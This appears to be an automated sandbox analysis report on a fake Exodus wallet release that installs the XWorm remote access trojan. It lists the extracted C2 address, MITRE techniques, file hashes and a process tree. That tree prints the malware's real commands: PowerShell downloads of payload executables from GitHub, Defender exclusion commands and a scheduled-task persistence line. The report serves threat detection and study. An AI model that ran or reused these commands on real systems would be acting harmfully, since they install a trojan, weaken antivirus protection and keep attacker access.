xworm | hxxps://github[.]com/ek4o/fake-exodus/releases/tag/ekoTools

Analysis

max time kernel
101s
max time network
101s
platform
windows10-2004_x64
resource
win10v2004-20250217-en
resource tags

arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
submitted
09/03/2025, 22:41

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

https://github.com/ek4o/fake-exodus/releases/tag/ekoTools

Score

10^/10

xworm discovery execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

137.184.74.73:5000

Mutex

Y2rnj2CSRObOXXLb

Attributes

Install_directory
%ProgramData%
install_file
System.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/1840-302-0x0000000000F30000-0x0000000000F3E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 4 IoCs

flow	pid	Process
105	1840	powershell.exe
107	1840	powershell.exe
108	5088	powershell.exe
109	5088	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1128	powershell.exe
3628	powershell.exe
1840	powershell.exe
5088	powershell.exe

Downloads MZ/PE file 2 IoCs

flow	pid	Process
107	1840	powershell.exe
109	5088	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	ExodusInject.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	Exodus.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000\Control Panel\International\Geo\Nation	AggregatorHost.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\System.lnk	AggregatorHost.exe

Executes dropped EXE 3 IoCs

pid	Process
1504	ExodusInject.exe
5020	Exodus.exe
1840	AggregatorHost.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
106	raw.githubusercontent.com
107	raw.githubusercontent.com
109	raw.githubusercontent.com

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	ExodusLoader.exe

Delays execution with timeout.exe 1 IoCs

defense_evasion

pid	Process
1020	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "133860337305456132"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1170604239-850860757-3112005715-1000_Classes\Local Settings	chrome.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
3684	schtasks.exe

Suspicious behavior: EnumeratesProcesses 14 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
1840	powershell.exe
1840	powershell.exe
1840	powershell.exe
5088	powershell.exe
5088	powershell.exe
5088	powershell.exe
1128	powershell.exe
1128	powershell.exe
1128	powershell.exe
3628	powershell.exe
3628	powershell.exe
3628	powershell.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 2 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe
Token: SeShutdownPrivilege	2664	chrome.exe
Token: SeCreatePagefilePrivilege	2664	chrome.exe

Suspicious use of FindShellTrayWindow 62 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of SendNotifyMessage 24 IoCs

pid	Process
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe
2664	chrome.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2664 wrote to memory of 1472	2664	chrome.exe	84
PID 2664 wrote to memory of 1472	2664	chrome.exe	84
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 4108	2664	chrome.exe	86
PID 2664 wrote to memory of 2884	2664	chrome.exe	87
PID 2664 wrote to memory of 2884	2664	chrome.exe	87
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88
PID 2664 wrote to memory of 2272	2664	chrome.exe	88

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files\Google\Chrome\Application\chrome.exe
"C:\Program Files\Google\Chrome\Application\chrome.exe" --disable-background-networking --disable-component-update --simulate-outdated-no-au='Tue, 31 Dec 2099 23:59:59 GMT' --single-argument https://github.com/ek4o/fake-exodus/releases/tag/ekoTools
1⤵
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2664
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x100,0x104,0x108,0xfc,0xd4,0x7fff6c63cc40,0x7fff6c63cc4c,0x7fff6c63cc58
  2⤵
  PID:1472
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=2016,i,3947254984174614505,17947699836340217285,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2012 /prefetch:2
  2⤵
  PID:4108
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1856,i,3947254984174614505,17947699836340217285,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2104 /prefetch:3
  2⤵
  PID:2884
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2260,i,3947254984174614505,17947699836340217285,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=2648 /prefetch:8
  2⤵
  PID:2272
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3156,i,3947254984174614505,17947699836340217285,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3140 /prefetch:1
  2⤵
  PID:3532
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3144,i,3947254984174614505,17947699836340217285,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=3292 /prefetch:1
  2⤵
  PID:2224
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4500,i,3947254984174614505,17947699836340217285,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=4672 /prefetch:8
  2⤵
  PID:3712
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=4468,i,3947254984174614505,17947699836340217285,262144 --variations-seed-version=20250216-180425.389000 --mojo-platform-channel-handle=5000 /prefetch:8
  2⤵
  PID:468

C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
1⤵
PID:3988

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:3604

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
1⤵
PID:4820

C:\Users\Admin\Downloads\ExodusWallet\ExodusLoader.exe
"C:\Users\Admin\Downloads\ExodusWallet\ExodusLoader.exe"
1⤵
- System Location Discovery: System Language Discovery
PID:452
- C:\Windows\system32\cmd.exe
  "C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\A8B9.tmp\A8BA.tmp\A8BB.bat C:\Users\Admin\Downloads\ExodusWallet\ExodusLoader.exe"
  2⤵
  PID:3640
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/ExodusInject.exe' -OutFile 'C:\Users\Admin\Downloads\ExodusWallet\ExodusInject.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    PID:1840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Invoke-WebRequest -Uri 'https://github.com/ek4o/injector/raw/refs/heads/main/Exodus.exe' -OutFile 'C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe'"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Downloads MZ/PE file
    - Suspicious behavior: EnumeratesProcesses
    PID:5088
- - C:\Users\Admin\Downloads\ExodusWallet\ExodusInject.exe
    "C:\Users\Admin\Downloads\ExodusWallet\ExodusInject.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:1504
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1128
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'AggregatorHost.exe'
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:3628
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\tmpCDA7.tmp.bat""
      4⤵
      PID:2540
    - - C:\Windows\system32\timeout.exe
        
        timeout 3
        5⤵
        Delays execution with timeout.exe
        
        PID:1020
- - C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe
    "C:\Users\Admin\Downloads\ExodusWallet\Exodus.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:5020

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
PID:4008

C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
C:\Users\Admin\AppData\Roaming\AggregatorHost.exe
1⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
PID:1840
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "System" /tr "C:\ProgramData\System.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3684

C:\Windows\system32\AUDIODG.EXE
C:\Windows\system32\AUDIODG.EXE 0x46c 0x254
1⤵
PID:300

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Credential Access

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BrowsingTopicsState

Filesize
649B

MD5
394e74df6158e762ecb898b5d274aadf

SHA1
58d3b129e56a19b7ca936dbf8036a3a75d6e983a

SHA256
9116c55b97d158352d2ff61bb332e7c3430c0885ab964aaae3b8f687fa830a81

SHA512
c45e5fa4f1b7fc8494d4d07fc4b9fd68a8ef5bc07b919110c1f66ae65594315b276a748122a8498c9e18678b1b876aebb906ad1c41b1dfe8687189d48cb734c5

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index

Filesize
1KB

MD5
3352eccf0bc9ae00044eecfe5e2c2d60

SHA1
3cb08ac3af0e7ff082f8cef476d213ad943a6c6c

SHA256
71d54257c0082eceafa530c03edc5ddf745f67693cd9ea34ad322c7a485a0464

SHA512
bfb389e8fffecd7fdccda5fefa2227e4b951c348044f89227063c56c785af482f7394bcfbd8f53beb6e5ba458fcb11456c97b71b635ae6ca51043afc0a1dd892

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State

Filesize
3KB

MD5
a352d61efb46bf21781e586b728114ca

SHA1
ce00a2c38bdf7024bee89edf1023446dc2e52488

SHA256
cd90b6bb4a1d77ba6e69396873224f8f9447909a4450df21163b35cc0e225abc

SHA512
70775a9000271c2597a39de063cc26fe50a1a256d3a76d866677d1687a72d9c8c9af0bae59155fbaf5ef29392e01a0c3ef05a2a92e5f14ff69d21a7cc6aba617

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports

Filesize
2B

MD5
d751713988987e9331980363e24189ce

SHA1
97d170e1550eee4afc0af065b78cda302a97674c

SHA256
4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

SHA512
b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
cd295faf990fe29cd06967f0cfbc714d

SHA1
ed9b6d781ca3e816af7a802692ba5c784924b773

SHA256
eada489ab833368ad578dd49168b3a2a9e97986875321117055fd8fe1999b64a

SHA512
3e4a9c0c628452afed2d0026d381d7ed5b6097e75bb377da6b9cb4ec7671401012fb44dd1b43c5ce806d20093f0ed99e085a491989b42f3cb0024959cf6dc265

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
3ca83b00e39631eb65567455d41a001f

SHA1
b1c850c7e202b4908ed1039a9ff36171cd8f2559

SHA256
874a7c833246c9c0e41c0eff82df3b81d9c7b9a674f41514eaee5e6d9ca8cce6

SHA512
24cd3006208fb71270e1c5f0230d423b2d1b08e7d5ae84d9291306023d21f13cab6d25e22735333af25facb154879bf489246d39e730dd164884c7055af028f6

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\TransportSecurity

Filesize
1KB

MD5
9471b1c4e7cdfc2482f33c5ca4ecd0fd

SHA1
6d0f0c7b87e122f0929d45513f97fb3cd7d89fa0

SHA256
e3d0b17e86fb57bbef279a761f9723a4d602324ba3c80a4777f0a74153a917bd

SHA512
dc4496c5e8518b7571c64eaec169db6039d14133d64f94ad47ada32173c60ce00ebd0b65c2209ebaae29868cb3c725597fa763c6d5e10c737213f53ec15b68f2

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
c0ed63adcdc039cc46d0e244f6859517

SHA1
e2e57f8a20f5e46e5a0e38e84ca1be99d33e27c9

SHA256
38e5d836a9f5ba7e5ee1a66c9f791a9d4ac0240669dcddd50b6524c7a9c0c273

SHA512
5f00e7dfab8ca9190c4d65a52e27d316fdcd012673f0fd7b8e7c45bc4b04a12a1bffb6ef3db8be7eb627549ef679d395cd72fd5dbe4c5fbe479cd5465a50a816

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
ea21a6e1921640c034a4ff61e44ecabd

SHA1
25760685ae8b245042613128b66854abe4afb943

SHA256
f6eee1a73dc9c3ddbce7add202975f9c52a34a290c6bad66f6887f2db4c20ca2

SHA512
89057f8af96d68b613035d47090c766f1b6b41c6db489e15f317dc475985ea96fcba483cc544fd1283eb2151d10cadf7f827bd3ce0ec36135ba20fd582c9e06d

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
8c524432d3ad19ad4e981a113306bd90

SHA1
95374aadffbd53b4a7a2ba97ba2d78955c889427

SHA256
39cbd303014499b8d5c7834be591684f52b50edaad4f72c4e7606be15b7647bf

SHA512
2cc2327f84af15bbc2dc631f7d343f83a42fbeaddf0210bade1fe9a8c3dc6f991773fd103da85e38bd90874f861a7657534643133f098f02865c98b59d5c0e3b

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
c9d70d914d3fa06de19e7f6e0cb50772

SHA1
c32247939b3db2dec2b164c0b1fbc941887ca490

SHA256
856acb3604fa14662996fbdbdb8bc9d5d2606e6fef8a423b599f44a207ab089b

SHA512
b65b365791d068d090aab4b5e896abd9fc1f34c45e094b252f447a5db870cf01a985e965d2f4a54d1316823a18a27cd2e3f8074519c7c66989498a0a18d4a133

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
a3ec2356cb1192dabef043681ead0da5

SHA1
599c5fedebbbacc7440f04bccece7fe94eecf235

SHA256
87aa0086c6efa5aae1fe3497b3813221b59c909b90c97bda002036cf7e5a9794

SHA512
fc4c02d6b5a62fdc2a4c7a49169494dbc92cca25653b35a1546a3945bae663aab85fb5cdfe957432e4fa08359a3b46de2b187eb01a0afa8405e631c1cf48cfa1

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
6ecc00c738cea9f560271437802c0602

SHA1
6120bf29a54122f653f1de4054916df3edbadd0a

SHA256
a396f095c9574872c8dcf913deef2a5e0a4bf974026a97960146cd7b9c3c84b9

SHA512
411ae6119c9c5f6e92d0aa43f9a54b84373a958f89a534c803d22a0b096c7fc03d4e23a536ab33e76b26d0f04df72515a3005621c8a6df55f6c428a7d5cf0a44

Download Submit
C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences

Filesize
9KB

MD5
3cdc123d2401e4fb1eda8c89b2d90d5b

SHA1
fdff43749cccb61eba561ea77f3df54edb8563a8

SHA256
f1d25e13f12cf34f340a82a0a97b8b59144b36e9da4a608321d467a4ead496ff

